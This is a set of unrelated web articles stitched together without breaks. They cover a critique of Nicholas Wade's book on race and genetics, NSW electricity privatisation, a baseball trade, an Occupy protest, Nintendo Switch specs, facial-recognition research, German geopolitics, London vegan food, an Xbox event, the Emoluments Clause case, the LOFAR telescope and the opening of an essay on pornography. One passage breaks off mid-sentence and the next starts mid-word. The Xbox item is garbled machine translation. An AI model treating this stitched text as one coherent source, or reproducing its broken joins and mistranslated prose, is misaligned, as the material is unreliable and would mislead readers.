Jaws dropped in ivory towers everywhere when Wade asked, “What is it that prevents poor countries from taking out a loan, copying every Scandinavian institution, and becoming as rich and peaceful as Denmark?” To solve this conundrum, he explains:
Because these [social] behaviors vary slightly from one society to the next as the result of evolutionary pressures, so too may the institutions that depend on them. This would explain why it is so hard to transfer institutions from one society to another. American institutions cannot be successfully implanted in Iraq, for instance, because Iraqis have different social behaviors, including a base in tribalism and a well-founded distrust of central government.
If Wade were truly interested in offering a theory to explain these problems, he would present the most important of the alternative explanations and hold them up to the light of his behavioral genetic theory. Instead, he is so pleased with his pronouncement on American institutions in Iraq that he merely repeats it two more times.
So how did the West turn out to be so great? The story is about England, from economist Gregory Clark’s A Farewell to Alms. Clark reports that interest rates fell in England from 1400 to 1850, which he and Wade agree is a crucial indicator of improving national character. Unlike children, hunter-gatherers, or modern Africans, the English were “becoming less impulsive, more patient and more willing to save,” hence lenders could charge less for loans, figuring more borrowers were likely to repay. This behavioral change “gradually transformed a violent and undisciplined peasant population into an efficient and productive workforce.”
How could the English gene pool have improved so much in only a few centuries? Clark’s analysis of a sample of wills between 1585 and 1638 shows that rich people listed more heirs than did poor people. Yet, because the size of the upper class did not increase, a sizable fraction of the rich had to breed with those below their birth status. In this way “the values of the upper middle class—nonviolence, literacy, thrift and patience—were... infused into lower economic classes and throughout society.”
As unsupported as the theory is generally, it is easily disproved on the basis of demographic timing alone. Without stronger selection pressure, there wasn’t time for this to happen, if it happened at all. Wade begs to differ, pulling out the Russian geneticist Dmitry Belyaev’s breeding of foxes for tameness, which produced tame foxes in thirty-five generations. But Belyaev used extremely strong selection criteria, selecting only the tamest 20 percent of each generation. England had much smaller selection pressures and fertility differences among classes.
Wade points out that people with estates over £1,000 had just over four children, while those with less than £10 had just under two children. But what Wade doesn’t tell you—reported in a separate paper—is that less than 5 percent of the population left estates of £1,000 or more. In fact, 71 percent had estates valued at less than £50. So how many rich kids were hanging out at the mead hall picking up the children of the poor? An analysis by Nina Boberg-Fazlic and colleagues shows the math for Clark’s mechanism isn’t there, partly because there was also upward mobility from the much larger lower classes. In the fight for the middle-class gene pool, the rich were way outnumbered.
A Better Theory of Social Change
Wade possesses a rigidly mechanical view of genetic influence on behavior. For instance, he concludes that genes must be the source of widespread taboos against incest, and our genes tell us, “If you grew up under the same roof with this person, they are not a suitable marriage partner.” But is there any basis for believing that genes really dictate rules of behavior to this level of specificity? Do genetic dictates include the word “marriage”?
Much as Wade would like to convince us otherwise, there is little reason to believe that natural selection is a major source of social change, that “the rise of the West was the direct result of the evolution of European populations as they adapted to the geographic and military conditions of their particular ecological habitat.” When he talks about the tendency toward such traits as cooperation and trusting authority, he just guesses that “probably all these social behaviors, to one degree or another, have a genetic basis.”
It is equally plausible, though, that adaptive traits emerge from more generic capacities of human intelligence and adaptation and are reinforced through cultural evolution and learning. For example, the ability to comprehend what others are thinking—and what they think of us—could lead to cooperative behavior as an instrumental adaptation even if there is no specific genetic driver for cooperative behavior. Similarly, clever humans in many societies could develop stone tools, or invent simple bridges, without genetic instructions for doing so.
The notion of underlying racial groups may be better encompassed by the idea of identity categories.
Wade is awed by breakthroughs in genetics, but he seems uninterested in the blossoming research on brain development. This is one way that culture adapts and reproduces: children’s brains adapt to their environment and experiences. For example, children in the United States today are exposed to a pink-is-for-girls culture. Even though this is a very recent phenomenon, the ubiquity of girls in pink appears so universal as to seem genetic. The tendency to see such preferences as natural is reinforced if brain plasticity declines with age. By the time today’s children are ten, they can’t imagine a society where pink is not for girls.
The downside of children’s intense learning capacity is that insults insinuate themselves deep into their cognitive apparatuses. For example, new research shows that the toxic effects of poverty on children’s developing brains may cause “differences in long-tern memory, learning, control of neuroendocrine functions, and modulation of emotional behavior.” Such an effect could in principle be repeated over generations within poor populations without producing inherited genetic traits.
In fact, the evolution and replication of social structure through interaction has been the subject of extensive social science modeling. These studies use complex simulations, which show that very different social structures can emerge from various initial conditions. For example, the evolution of trust and cooperation may be generated by social interaction and learning, as people learn the benefits of cooperation and complementary norms spread through the population.
Although human societies of 10,000 years ago would seem wholly foreign to you or me, it is plausible that a human embryo from that era, grown in a modern womb and born into modern society, would adapt from birth in much the same way that infants do today and would grow to be a normal modern person. This is not surprising to those who have seen internationally adopted children adapt to their new cultures in much the same way native-born children do, despite the thorny issue of how their racial appearance affects their social interactions.
Can We Talk About Genetics and Race?
Wade argues that the history of social Darwinism, eugenics, and the Holocaust have infected the modern liberal mind so fully that we not only don’t want to think about the behavioral genetics of race, but we don’t want anyone else to either. In defense of the book, he writes: “It takes only a few vigilantes to cow the whole campus. Academic researchers won’t touch the subject of human race for fear that their careers will be ruined. Only the most courageous will publicly declare that race has a biological basis.”
I am skeptical, but by all means let us see the evidence that genetic scientists are cowed by fear. More likely, there is little scientific agreement with his theories because he is wrong.
What about the campaign against Wade specifically? Is there a movement to shut him down for speaking evolutionary truth to liberal power? Outside of a rave review from Charles Murray, which is surely a mixed blessing, the mainstream criticism of A Troublesome Inheritancehas been harsh. But much of it is from knowledgeable writers who are not committed to shutting down all discussion of race and genetic diversity. Some of the meaner critics—such as the evolutionary biologist Jerry Coyne, who calls Wade’s volume “pretty awful” and “an irresponsible book that makes insupportable claims”—have nevertheless refused to condemn the goal of studying race and genetics. Similarly, evolutionary biologist Michael Eisen, who thinks Wade is an “unhinged racist,” nevertheless believes human genetic diversity and natural selection are important topics of ongoing research. Writing in the New York Times, reviewer Arthur Allen praises Wade’s description of research into genetic ancestry, but in Allen’s view, Wade “starts to go off the rails” with his “unconvincing attempt to promote the science of racial difference.” In Slate political scientist Andrew Gelman stresses that Wade’s arguments are not implausible; they are merely unproven—and similar to the scientific racism of previous generations. And science writer Seth Shulman, in the Washington Post, praises Wade’s “well-chosen evidence of advances in our increasingly sophisticated understanding of the human genome and population genetics” before criticizing the lack of evidence underlying his behavioral claims.
If A Troublesome Inheritance does drive Wade into scientific exile, it will be a result not of his courageous stand against an all-powerful, know-nothing ignorance lobby, but of the unsubstantiated, inflammatory, insulting, and socially harmful aspects of his work.
Image: Forgemind Archimedia"Selling the electricity network is wrong," the advertisement says. "Selling it to another country is just not on." Electricity privatisation proposal under scrutiny: Mike Baird. Credit:Brendan Esposito On Monday, a senior Labor source suggested that the purchase of electricity assets by a Chinese-government owned firm was a national security issue. "I would be very, very surprised if the security agencies would be comfortable with this," the source said, noting that one business up for lease, high voltage transmission business Transgrid, "can turn Canberra off at the flick of a switch". But Mr Constance accused Labor leader Luke Foley and the union movement of engaging in "dog-whistle politics".
"We're seeing enormous interest from right around the globe in the leasing proposal - that's why we took market soundings," he said. Accused of starting "dog-whistle politics": Opposition leader Luke Foley. Credit:Michele Mossop The attack came as it was revealed the Australian Securities and Investments Commission was examining investment bank UBS after revelations Premier Mike Baird's office sought to influence an analyst's report on the electricity privatisation. UBS is one of two banks handling the proposed electricity privatisation deal for the NSW government. The report initially said the transaction would be "bad for the budget" but was reissued with the statement removed and favourable information included. The bank and Mr Baird say this was done independently.
ASIC chairman Greg Medcraft said the regulator has asked for information about the "Chinese Wall" designed to separate the bank's advisory and research arms, following concerns raised by shadow Treasurer Michael Daley. On Monday, Mr Constance said that "nobody is in the front running" for the assets and that "all investors will have to adhere to the [Foreign Investment Review Board] requirements". In December 2013, federal Treasurer Joe Hockey allowed State Grid Corp to buy stakes in local electricity supplier SP Ausnet and energy infrastructure company SPI Australia. In ministerial diary summaries published earlier this year, Mr Constance disclosed a meeting with State Grid Corp executives on November 19, described as an "introductory meeting and discussion on State Grid investment in NSW". However, he has refused to confirm if the discussions were about the potential sale of NSW electricity businesses.
If Mr Baird wins Saturday's election, he has promised to privatise all of Transgrid and 50.4 per cent of distributors Ausgrid and Endeavour Energy. CFMEU national secretary Tony Maher questioned why the NSW government "is not forthcoming" about potential buyers a week out from the election. "The public deserves to know before Saturday about whether or not there is a good chance of the grid corporation of China owning the poles and wires," he said.May 16, 2015; Arlington, TX, USA; A view of a Cleveland Indians baseball hat and glove during the game between the Texas Rangers and the Indians at Globe Life Park in Arlington. The Indians defeated the Rangers 10-8. Mandatory Credit: Jerome Miron-USA TODAY Sports
On this day in 1962, Harry Chiti was traded from the Cleveland Indians to the New York Mets for a player to be named later. That player turned out to be himself.
Ah, the player to be named later. A staple in baseball trades, that player can literally be anyone. Of course, there are certain parameters to be discussed, and that player may well depend on the performance of the player traded. But one trade made between the Cleveland Indians and the New York Mets may have set the standard for a trade involving a player to be named later.
The Mets found themselves in need of a backup catcher, and made the trade with the Indians, acquiring Chiti to fill that role. A glove first catcher, Chiti provided solid defense although his arm was not quite as good as it had been in years past. Offensively, he produced a.195/.233/.220 batting line in 43 plate appearances.
Things get interesting with Chiti a couple of months later. It is debatable as to what happened, as to whether or not Chiti was traded for a player to be named later or acquired for cash considerations when he was sent to the Mets. However, on June 15, Chiti was sold back to the Indians as the player to be named later, completing the earlier trade.
Interestingly enough, Chiti never actually played for the Indians at the major league level. He spent his time in the Cleveland system in 1962 with the Jacksonville Suns in the International League, and spent the next two seasons in the minors before retiring.
As rare as it may be, Chiti was only the first player in baseball history to be traded for himself. Since then, three other players, Dickie Noles, Brad Gulden, and John McDonald, were also traded for themselves in the following years.
Trades involving a player to be named later could truly involve anyone. For Harry Chiti, the return for his trade from the Cleveland Indians turned out to be himself.[oldembed src="https://www.youtube.com/embed/3TTqexXq5VQ" width="400" height="225" resize="1" fid="21"]
This is certainly the right place to get attention if you're trying to recreate that old time revolutionary spirit. But Philadelphia is also flooded with tourists from all over the world during Freedom Week, and the Tea Partiers are also holding a celebration on the Mall. Should be quite the culture clash!
PHILADELPHIA (AP) -- Occupy groups from across the country are headed to Philadelphia for a national gathering on Independence Mall, seeking to unify their far-flung movement against economic inequality a half-year after police evicted protesters from encampments in Philadelphia, Los Angeles, New York and other cities. The event, which starts Saturday and runs through July 4, is expected to bring about 1,500 protesters for marches, speakers and camping during the city's annual Independence Day festivities.
[...] Most of the events will center on Independence National Historical Park, in the city's historic district, an area widely known as the cradle of liberty - home to Independence Hall and the Liberty Bell and the place where the Declaration of Independence was first read aloud and the U.S. Constitution was adopted.
The national gathering is endorsed by more than 100 Occupy groups across the country. Organizers have kept in touch through a networking communication system known as "inter-Occupy," using conference calls and other means of communication, said Tammy Shapiro, a member of Occupy Wall Street.
Larry Swetman, a member of Occupy Philadelphia, said the conference will feature teach-ins, workshops, and protests, including one in which participants will march to the Comcast Center. On the fourth day, Swetman said, protesters will come up with a list of priorities and goals that will likely cover a broad range of issues including health care and housing. Ultimately, a group of protesters plans to lead a 99-mile march to Wall Street on July 5.
[...] The second, smaller conference, dubbed "Continental Congress 2.0", is being planned at the Pennsylvania Convention Center from July 2 to July 4. That conference isn't endorsed by Occupy Wall Street. Organized by The 99% Working Group, it's expected to draw around 150 delegates from across the country, said Robert Manning, of Pinole, Calif., one of the organizers.
The group will develop a list of grievances that they plan to take to legislators, presidential candidates and Supreme Court justices in Washington. They plan to march to Independence Hall on July 4, Manning said.
The Independence Hall Tea Party Association is planning its annual celebration of "American Exceptionalism" on the mall on July 4 and expects up to 2,000 people, said association co-founder Don Adams.Share. Hybrid theory. Hybrid theory.
Nintendo has released a new rundown of features on the Nintendo Switch hardware, including a closer (if still limited) look at the Home menu UI.
Exit Theatre Mode
The Nintendo UK website now lists a "Specifications" section, running through the various ports and features of the hardware (although offers little on its much debated internal CPU/GPU).
Included is a short rundown of the console's Home menu, explaining its news, eShop and album tabs (below):
The image of the UI on the Switch in handheld mode (below) also seems to indicate easy account switching, Joy-Con settings, and a tile-based menu similar to that of PS4:
Previously unknown or hazy details also confirmed include the fact that the console will take three hours for a full charge while in sleep mode, and that support for SDXC memory cards will be added via an internet update (Nintendo had previously confirmed the console would support the cards - which will run up to 2TB in size).
There's also official word that the console will run at a maximum resolution of 1920x1080 at 60 frames per second in TV mode.
We're slowly finding out more details about the upcoming console - from its touchscreen capabilities to its growing launch line-up, but we'll likely have to wait until release on March 3 to give you the full rundown.
Joe Skrebels is IGN's UK News Editor, and he's warmed to those neon Joy-Con more than he feels comfortable with. Follow him on Twitter.What does It mean for the world if facial-recognition software gets really, really, really good? Computers can already reveal many secrets — our banking information, our shopping habits, our medical history. But what if, for instance, a computer could tell us whether someone may have autism? Or whether, from the same photos, whether someone is gay or straight?
Stanford Graduate School of Business researcher Michal Kosinski set out to answer the latter question in a controversial new study. Using a deep-learning algorithm, Kosinski and his colleagues inputted thousands of photos of white Americans who self-identified as either gay or straight, and tagged them accordingly. The software then learned physical commonalities — micro quantitative differences based on facial measurements — to distinguish gay from straight features.
His team found that the computer had astonishingly accurate “gaydar,” though it was slightly better at identifying gay men (81 percent accuracy) than lesbians (74 percent accuracy). Notably, the software outperformed human judges in the study by a wide margin.
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Kosinski’s work was based on previous but controversial research that suggests that the hormonal balance in the womb influences sexual orientation as well as appearance. “Data suggests that [certain groups of] people share some facial characteristics that are so subtle as to be imperceptible to the human eye,” Kosinski says. The study, according to Kosinski, merely tested that theory using a respected algorithm developed by Oxford Vision Lab.
Predictably, rights groups, including GLAAD and Human Rights Campaign, were outraged by Kosinski’s study, simultaneously questioning his methods while suggesting that his program was a threat to members of the gay community.
Kosinski is known as both a researcher and a provocateur. He says that one of the goals for the study was to warn us of the dangers of artificial intelligence. He designed his research, he says, to goad us into taking privacy issues around machine learning more seriously. Could AI “out” people in any number of ways, making them targets of discrimination?
But for the sake of argument, let’s suppose that facial-recognition technology will keep improving, and that machines may someday be able to quickly detect a variety of characteristics — from homosexuality to autism — that the unaided human eye cannot. What would it mean for society if highly personal aspects of our lives were written on our faces?
Christie Hemm Klok/The New York Times Stanford researchers Michal Kosinski and Yilun Wang, co-authors of a study that claims to show that a computer program can detect sexual orientation from photos of faces.
The use of facial traits as a diagnostic tool, known as dysmorphology, is nothing new in medicine. Physicians have long used their eyes to help determine whether patients have genetic conditions such as CHARGE and Treacher Collins syndromes. Early on in medical school, for example, students learn the physical traits for Down syndrome (also known as trisomy 21) through textbooks and lecture slides.
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I remember the first time I saw a baby with the condition, which appears in patients who have a third copy of chromosome 21, instead of the usual pair. The infant was born in a community hospital to a mother who had declined genetic screening. As he lay in his cot a few hours after birth, his up-slanted “palpebral fissures” (eyelid openings) and “short philtrum” (groove in the upper lip), among many other things, seemed subtle. It only took a glance from my attending, an experienced pediatrician, to know that the diagnosis was likely. (Later on, a test called a karyotype confirmed the presence of an extra chromosome.)
Could AI someday replace a professional human diagnostician? Just by looking at a subject, Angela Lin, a medical geneticist at Massachusetts General Hospital, can discern a craniofacial syndrome with a high degree of accuracy. She also uses objective methods — measuring the distance between eyes, lips, and nose, for example — for diagnostic confirmation. But this multifaceted technique is not always perfect. That’s why she believes facial recognition software could be useful in her work.
Lin stresses that facial recognition technology is just one of many diagnostic tools, and that in most cases it’s not a substitute for a trained clinical eye. She also worries about how widespread use of facial recognition software could be problematic: “The main barrier for me is privacy concerns... we want to be sure the initial image of the person is deleted.”
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Even so, the field of dysmorphology is rapidly expanding as researchers develop new ways to use the science, augmented by machine learning and big data, to diagnose an increasing number of genetic conditions.
Autism, for one, may involve physical characteristics too subtle for the human eye to detect. A few months ago, an Australian group published a study that used facial-recognition technology to discern the likelihood of autism using 3-D images of children with and without the condition. As in Kosinski’s study, the computer “learned” the facial commonalities of those with autism and successfully used them as a predictive tool.
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The lead study author, Diana Tan, a PhD candidate at University of Western Australia School of Psychological Sciences, warns that the technology has its limitations. A diagnosis of autism requires two distinct elements: identifying social and communication challenges, and behavioral analysis of repetitive behaviors and restrictive interests.
Some scientists believe the social-communication difficulties may be linked to elevated prenatal testosterone — known as the “extreme male brain” theory of autism. Facial masculinization may result from this excessive testosterone exposure |
uropa which advocated not the integration, rather the subjugation of Central and Eastern Europe by ethnic Germans who had settled across what are today the Baltic states, Poland, Romania and Ukraine in a Drang nach Osten. Friedrich Ratzel, a geographer, had legitimized the conquest of these territories when he argued in 1901 that states should be allowed to expand “organically” to accommodate population growth and the German people needed Lebensraum to the east.
This introduced the notion of a Germany that was historically changeable on the map. Ratzel saw territorial expansion as a sign of the nation’s vitality. That was view was echoed in Oswald Spengler’s Der Untergang des Abendlandes (1918-1922) which warned of the imminent decline of Western civilization as a result of corrupting bourgeois influences and a lack of cultural vitality. The book was a sensation in Germany, despite unfavorable academic reviews.
World War I general and academic Karl Haushofer mixed Ratzel’s Lebensraum thesis and Spengler’s feared civilizational decline to argue in 1935 that the state had a duty to safeguard “not only the land within the frontiers of the Reich but the right to the more extensive Volk and cultural lands.” Like Spengler, he saw urbanization as a symptom of national decline because it diminished birthrates and a people’s mastery of the soil.
These theories informed the ethnic and foreign policies of Adolf Hitler’s National Socialists. Hitler saw little value in urban industry and trade which would have required a maritime orientation. Rather he foresaw the acquisition of vast agricultural lands in Eastern Europe to satisfy the needs of an autarkic and expansive Germany. The reintegration of ethnic Germans living there — a policy called Heim ins Reich — was, for the Nazis, not the end goal, as it had been for many pan-Germanists during the interwar period, but the beginning of a struggle for Eurasian domination that should have produced a Greater German Empire stretching from the Netherlands into the Ural Mountains.
Poland was the strategic linchpin for these ambitions as it provided both a buffer between Germany and the Slavic lands to the east and a gateway to domination over Ukraine and other parts of Southeastern Europe. Hence Germany’s refusal to recognize an independent Poland in the 1918 Brest-Litovsk peace treaty it signed independently with Russia and Hitler’s invasion in 1939 that set off World War II.
Germany’s foreign policy orientation changed dramatically after its defeat in the Second World War. East Germany was denied a foreign policy of its own, being reduced to a Soviet satellite state. West Germany was occupied by the Western powers and quickly became America’s most loyal ally on the European continent.
The Franco-German rapprochement that defined postwar Europe was not only a wish of West German leaders but a geopolitical necessity. Their country amounted to little more than the Rhine Confederation that had been a client state of France’s in the early nineteenth century. Without the former Prussia, withering behind the Iron Curtain, and the ability to balance its relations with Russia against the Atlantic powers, Germany’s only recourse was to become an Atlantic power itself.
The first break came when Chancellor Willy Brandt launched his Ostpolitik in 1969. Despite French apprehension about improved relations between the two Germanys and American worries that Brandt would reach an accommodation with the Soviet Union at the expense of the Western alliance, what this normalization of ties achieved was not domination or surrender but restored influence and détente.
It was also a harbinger of things to come. Following the dissolution of the Soviet Union in 1991, Germany similarly conducted a conciliatory foreign policy toward countries it had once aspired to conquer.
Former American national security advisor Zbigniew Brzezinski argued in The Grand Chessboard (1997) that Germany, by then “safely anchored in Europe and rendered harmless but secure by the visible American military presence,” could promote the rehabilitation of Central European states whose economic and political progress had stalled during the half century of Russian domination. “It would not be the old Mitteleuropa of German imperialism,” he wrote, “but a more benign community of economic renewal stimulated by German investments and trade.”
Such a community has since come about with the inclusion of Central and Eastern European states in the European Union and NATO, their memberships sponsored by Germany.
The critical breakthrough was provided in 1990 when Germany finally recognized the Oder-Neisse line as its border with Poland, putting to rest any lingering Polish fears of future German territorial claims. Through its alliance with Poland, Germany’s influence extends further eastward, into the Baltic states and Ukraine.
German reunification that same year also spelled the end of the Franco-German parity that had kept Germany “European” throughout the Cold War. Instead, Europe looks increasingly “German” as the country’s central geographical position on the continent as well as its economic heft makes it the only power capable of leading the European Union.
Yet for the first time in its history, Germany is reluctant to accept such domination even when few of its neighbors are alarmed by the prospect.The very best, greasiest, sugar and calorie-laden vegan food to be found in London.
“Dirty” isn’t usually a term most people associate with vegan food. Clean eating, whole foods – these are the things we imagine your typical vegan consumes, along with a daily dose of yoga and green smoothies.
I hate to burst your pre-conceived bubble, but vegans can eat just as dirty as anyone.
There are vegan versions of popular chocolate bars (Go Max Go foods make vegan equivalents of Snickers, Twix, Reece’s Peanut Butter Cups and more), ice cream (Booja-Booja), meats (Tofurky and Fry’s are quality brands) and cheeses (Vegusto’s No-Moo Piquant is amazing and Sainsbury’s has just expanded it’s own range of vegan cheeses). And lets not forget the booze! Baileys has recently released it’s vegan-friendly Almande and Guinness is close to making it’s famous stout completely vegan (woohoo).
So what about eating out? Luckily, there’s a heck of a lot of options for vegans in London who want to indulge in a bit of guilty pleasure food. Hello grease, goodbye waistline! Here are seven of the dirtiest:
Veg Bar, Brixton
If you’re looking for dirty, look no further than Veg Bar in Brixton. Non-traditional veggie diner offers a gamut of greasy options, including a Big Mac-style burger called The VegFather, Nugz Wings, Chilli Cheese Dog and the ultimate favourite – a pulled pork-esque wrap.
The wrap is made with jackfruit, which simulates the texture of pulled pork, just melts in your mouth. Most meals come with fries (the Cajun ones are recommended) so you can max out the dirty on these traditional diner offers.
If you’re in the area, you can even get your vegan fast food fix delivered straight to your door with Deliveroo.
The Waiting Room, Deptford
If you didn’t know it was there, you’d likely walk right by The Waiting Room. There’s not a lot of seating and it can get pretty darn crowded at times, but if you muscle your way through the queue you’ll be rewarded with the likes of a vegan hotdogs and burgers.
Try the New Yorker dog (sauerkraut, mustard, ketchup and onion) or The Sith burger (“hotter than the hate that burns within…”)
As a bonus, there’s a lot of geeky stuff covering the walls, like action figures and Star Wars memorabilia. Some of it’s a bit weird, but that’s cool.
Village Pizza, various locations
If you’re after a traditional, cheesy pizza (sans actual cheese), then look no further than Village Pizza.
They use popular vegan cheese brand Cheezly (super melty) and have seven vegan pizza options to choose from ranging from Tikka Surprise (with tikka style vegan chicken), to Spaniard (vegan-style garlic sausage) and Hickory Chicken (vegan chicken smothered in BBQ Sauce – my personal fav).
Plus they deliver if you’re near to a branch (of which there are five in the Greater London area). It’s like Domino’s, but without the cholesterol.
Ruby’s of London, Greenwich
Since it’s mostly made of sugar and fat, I count cupcakes and cakes as dirty food. And the best vegan cupcakes in town are made by Rubys of London. You can find Ruby’s stall in Greenwich market on the weekends, usually staffed by herself or a member of her family who is happy to sell you delicious, moist, sugary treats.
Ruby has totally got the cupcake equation down: a lot of rival places in London just don’t get the cake-to-frosting ratio right (so they end up being way too sweet), or the moisture level just isn’t up to scratch (so you end up with a brick).
Without a doubt, Ruby’s are the best in town. My personal favourite is the Sicilian Summer (lemon and poppyseed, with pistachios) cupcake. Divine.
Temple of Hackney, Hackney
A few steps from Hackney Central you’ll find one of London’s newest dirty vegan joints, Temple of Hackney. Here you can find a 100% vegan menu, most of it fried chicken. Say what?
They use a common wheat-derived meat substitute called seitan to replicate the chicken part (fun fact: it used to be called Temple of Seitan before some people got uppity about it. Unfortunate, because it’s pretty funny).
Deep fried delicacies include chicken strips, mac n’ cheese, hamburgers and my personal favourite – popcorn chicken. It’s finger lickin’ good.
Norman’s Coach and Horses, Soho
Norman’s Coach and Horses is unassuming. From the outside, it appears to be like any small, central London pub: a bit crowded on the weekends, jostling for elbow room at the bar and not a lot of sitting space.
What’s a bit special about Norman’s is that it claims to be London’s first vegetarian pub, and rumour has it that it’s frequented by the writers from Private Eye. Neat.
If you plan ahead and make a reservation the staff will lead you through the secret gap in the bar (it’s sort of like stepping through the wardrobe into Narnia), up some narrow stairs and pop you out into a lovely little dining area on the first floor.
It a veggie/vegan pub, with items like Tofush & Chips – nori covered tofu coated in an organic ale batter. Mmm. It’s greasy, but very tasty. The seaweed give the tofu a taste of the ocean, so it’s almost like you’re eating something from the local chippy (except no fish were harmed in the making of this meal).
Cookies and Scream, Camden
This wee place in Camden market has what are probably the best ice cream sandwich cookies in existence. Anywhere.
Cookies and Scream also sell brownies, pies, donuts and shakes. There are a few stools, so if you’re lucky enough to claim one, you can enjoy your carb-loaded, sugar-laden treasure haul without burning any calories. Bonus.
Summary Title: 7 Glorious Dirty Vegan Food Joints in London Description: The best, greasiest, sugar-laden, calorie-laden vegan food in London. Author: Karen Wood Brought to you by: Methods Unsound5pb. Will hold a "meeting presentation software for Xbox One" in Tokyo on Tuesday, May 27, 2014. It was found to be distributed by live NicoNicoVideo, the pattern. As might be about 1 hour from 13:00 to time. It's the place where what announcement or be done, to be worried about. Below, is an excerpt from the release. Introducing software line-up all-in-one entertainment system "Xbox One (X-box one)", which was the core of the game new generation marketed in Japan's decision on Thursday, September 4 for the finally. In addition to the title that has been previously announced, we will send you a new information and game titles for the first time published in this presentation. In addition, we will from Japan microphone solo soft Co., Ltd., also to welcome guests on the day. ~ ※ 1 hour schedule (Tuesday) 13:00, 27 May [Dates] 2014Lost in the cacophony of events that could potentially put an end to Donald Trump’s presidency, the possibility that he may have violated the Emoluments Clause—the constitutional clause that prevents presidents from accepting gifts from foreign governments—seems downright quaint. But a lawsuit filed by an ethics watchdog group, which the Trump administration has said it will attempt to dismiss, seems determined to push an Emoluments Clause case as far as it can go. On Wednesday, lawyers from the group and from the Trump administration laid out their respective cases before a federal judge in New York, the former arguing that the president is susceptible to foreign influence because of his many business ventures, and the latter arguing that Trump should be able to continue reaping the profits of his presidency.
Broadly speaking, the Emoluments Clause prevents officeholders from receiving compensation and gifts from foreign, federal, and state governments—a prohibition the Trump administration has flouted by hosting diplomats and party officials at the president's many properties. In the months since the election, Trump’s recently opened Trump International Hotel has transformed into Washington, D.C.’s de facto clearinghouse for foreign and domestic guests on government-related trips. Further complicating the matter is the fact that Trump refused to divest from his company when he took office, instead placing his holdings in a trust managed by his sons.
During oral arguments in a Manhattan federal court, the administration’s lawyers sought to define what counts as an emolument—a tricky distinction, as few precedents limiting the scope of emoluments exist. Trump's lawyers argued that the president would only be in violation of the clause if he received a personal benefit in exchange for something he would only be able to provide as president.
U.S. District Judge George Daniels questioned this definition. “Why doesn’t emolument mean compensation?” he reportedly asked, prompting Trump's lawyer to grudgingly agree that, yes, emoluments clauses could apply to private business transactions.
Deepak Gupta, a representative for Citizens for Responsible Ethics in Washington (CREW), defined emolument more broadly as a “profit, gain, or advantage.” He argued that Trump himself did not need to directly profit from government employees patronizing his businesses in order to violate the clause. Rather, he said, Trump was in violation any time money flowed directly from a government bank account, foreign or otherwise, into the Trump Organization’s coffers.
Although Daniels expressed interest in the organization’s argument, he suggested that perhaps CREW and its co-plaintiffs—restaurant-industry representatives who compete with Trump for similar patrons, and who argued that Trump's presidential status put them at a competitive disadvantage—didn’t have standing to press the legal challenge. In response, Gupta said, “What our clients can’t offer is the ability to curry favor with the president of the United States.”
Daniels is expected to hand down a ruling in 60 days, but anyone hoping for some judicially imposed schadenfreude may be disappointed: Daniels suggested that while he could declare that Trump was in violation of the Emoluments Clause, he himself had no legal authority to order the president to divest from his company. According to The Wall Street Journal, he instead floated the possibility of Congress ruling on the question, as it has the power to consent to emoluments. Which, as virtually any current observer of Congress is aware, means the case has about as much chance of proceeding as the Cassidy-Collins health-care bill.LOFAR/ASTRON
The Netherlands, one of the most densely populated countries in Europe, would seem to be an inauspicious place to detect radio whispers from the distant Universe. Mobile-phone towers, television transmissions, planes overhead and even the odd burst of noise from a windmill create a background din in the radio sky.
But the builders of LOFAR, the Low-Frequency Array of radio receivers centred around the tiny village of Exloo, say that they have found ways to ignore the noise. In doing so, Dutch astronomers at ASTRON, the Netherlands Institute for Radio Astronomy in Dwingeloo, are opening up a region of the electromagnetic spectrum that should hold clues to one of the earliest phases of cosmic history, when the first stars formed — an era beyond the ken of even the biggest optical telescopes.
“Many of the radio astronomers said this couldn’t be done,” says Heino Falcke, an astronomer at Radboud University in Nijmegen and chairman of the International LOFAR Telescope Board, the five-nation foundation that governs the €150-million (US$192-million) project. Yet Falcke and his colleagues defied the doubters by presenting their first results on 9 January at a meeting of the American Astronomical Society in Austin, Texas. “The message today is: the basic things all work. We can do this,” he said.
Mapping the low-frequency sky requires an expansive telescope as well as the ability to tune out noise. When completed later this year, the array will contain 2,700 slender dipole antennas tuned to 30–80 megahertz, and 43,000 antennas embedded in flat tiles a few metres square that are sensitive to 120–240 megahertz. The antennas will be concentrated in 40 stations across the Netherlands; 8 other stations in the United Kingdom, France, Germany and Sweden give the array extra angular resolution for fine-scale imaging. The fibre-optic data network that links the LOFAR antennas will also support sensor webs for geoscience and agricultural monitoring (see ‘A multi-purpose array’).
LOFAR has already turned up surprises. Its observations of four pulsars — spinning neutron stars that emit regular radio pulses — show that the emissions at a wide range of frequencies are bunched together in time, implying that they emanate from a narrow region near the pulsar. The finding challenges a common picture in which pulsars generate their radio signal in a much wider region, says ASTRON’s Jason Hessels, co-principal investigator of LOFAR’s pulsar working group.
But the real prize would be the detection of a signal from the epoch of re-ionization. That was roughly 400 million to 800 million years after the Big Bang, when radiation from the first stars and galaxies ionized the primordial hydrogen gas that filled the newborn Universe, creating bubbles of ionized gas like the holes in a Swiss cheese. By mapping the gradual disappearance of the faint 21-centimetre emission line from the primordial hydrogen, LOFAR astronomers hope to distinguish between two re-ionization mechanisms: one driven by the stars’ ultraviolet light and one by X-rays from super-massive black holes in newborn galaxies. That would allow the astronomers to watch the first stars and galaxies being born.
Based on an initial run of ten hours spent staring at several quiet corners of the radio sky, ASTRON’s Ger de Bruyn suspects that the re-ionization signal could be detected with 400 hours of devoted observing time — a campaign he plans to begin by the end of the year.
That schedule would put LOFAR ahead of rival re-ionization projects in remote parts of Australia, South Africa and New Mexico, locations chosen partly for their lack of radio noise. Greg Taylor, an astronomer at the University of New Mexico in Albuquerque and director of the Long Wavelength Array being built in New Mexico, acknowledges that LOFAR is the array to beat in the race to detect re-ionization — but says that would be just the beginning. “If you make the discovery, then it’s a Nobel prize for somebody,” he says. But afterwards, “it has the potential to explode into a field of study”.What kind of porn gets you off? Is it the commonest kind, the kind that you download or stream off a website full of "amateur videos", where the woman climaxes seventeen times at the mere sight of the man’s throbbing member? Is it the retro kind, where there’s a vague attempt at a storyline that involves a pizza delivery, a young college girl who’s forgotten her wallet, and a delivery boy with a demonstrably fake tan and a thin moustache who’s willing to make a deal?
Perhaps it’s the sort you buy with Real Money in a basement in SoHo, where large anoraks are a compulsory dress-code? Could it be ‘mummy porn’, which is less MILF and more ‘naughty stuff you can read on the Tube’, the category resurrected by cult erotica novel Fifty Shades of Grey? Or is the filth you love firmly ensconsced in your head, because the porn available in the outside world seems both severely lacking in sensuous appeal and exploitative of the women who watch and perform in it?
